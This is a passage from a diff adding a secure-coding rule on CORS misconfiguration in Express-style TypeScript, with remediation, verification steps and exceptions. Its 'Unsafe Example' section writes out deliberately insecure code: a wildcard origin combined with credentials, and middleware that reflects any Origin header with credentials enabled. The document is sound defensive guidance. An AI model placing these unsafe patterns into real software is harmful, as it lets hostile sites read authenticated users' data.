+ - CORS middleware configured with `origin: true` without allowlist validation
27
+ - Reflecting any incoming `Origin` header directly back in responses
28
+ - Missing per-environment allowlists for trusted frontends
29
+ - Inconsistent preflight handling between gateway and application
30
+ - Session-cookie APIs that allow broad or dynamic untrusted origins
31
+
32
+ ## Unsafe Example
33
+
34
+ ```ts
35
+ import cors from "cors";
36
+
37
+ app.use(cors({
38
+ origin: "*",
39
+ credentials: true
40
+ }));
41
+ ```
42
+
43
+ ```ts
44
+ app.use((req, res, next) => {
45
+ res.setHeader("Access-Control-Allow-Origin", req.headers.origin || "*");
46
+ res.setHeader("Access-Control-Allow-Credentials", "true");
47
+ next();
48
+ });
49
+ ```
50
+
51
+ ## Safe Example
52
+
53
+ ```ts
54
+ import cors from "cors";
55
+
56
+ const allowedOrigins = new Set([
57
+ "https://app.example.com",
58
+ "https://admin.example.com"
59
+ ]);
60
+
61
+ app.use(cors({
62
+ origin(origin, cb) {
63
+ if (!origin) return cb(null, true);
64
+ if (allowedOrigins.has(origin)) return cb(null, true);
65
+ return cb(new Error("Origin not allowed"));
66
+ },
67
+ credentials: true
68
+ }));
69
+ ```
70
+
71
+ ## Remediation
72
+
73
+ 1. Remove wildcard origins from any credentialed CORS configuration.
74
+ 2. Build explicit allowlists for known trusted web origins per environment.
75
+ 3. Validate dynamic origin logic against exact matches, not substring checks.
76
+ 4. Keep gateway and app-layer CORS behavior consistent and documented.
77
+ 5. Restrict allowed methods and headers to required minimums.
78
+ 6. Add tests for preflight and credentialed fetches from trusted/untrusted origins.
79
+ 7. Monitor rejected origins to detect probing and config drift.
80
+ 8. Reassess CORS when adding new frontend domains or auth mechanisms.
81
+
82
+ ## Verification
83
+
84
+ - Send credentialed requests from allowed and disallowed origins; verify behavior.
85
+ - Confirm responses never include `*` with credentials enabled.
86
+ - Validate preflight responses include only expected methods/headers.
87
+ - Test browser behavior with real `fetch(..., { credentials: "include" })`.
88
+ - Review gateway response headers in production, not just local dev.
89
+
90
+ ## False Positives and Exceptions
91
+
92
+ - Non-browser clients where CORS headers are irrelevant to access control
93
+ - Public, fully unauthenticated read-only APIs not using credentials
94
+ - Local development permissive origins, if isolated from production configs
95
+ - Strictly internal tools with network isolation and documented risk acceptance
96
+
97
+ ## Related Rules
98
+
99
+ - `TG-AUTH-004-insecure-session-cookie.md`
100
+ - `TG-AUTH-002-client-only-authorization.md`
101
+ - `TG-PLATFORM-002-missing-security-headers.md`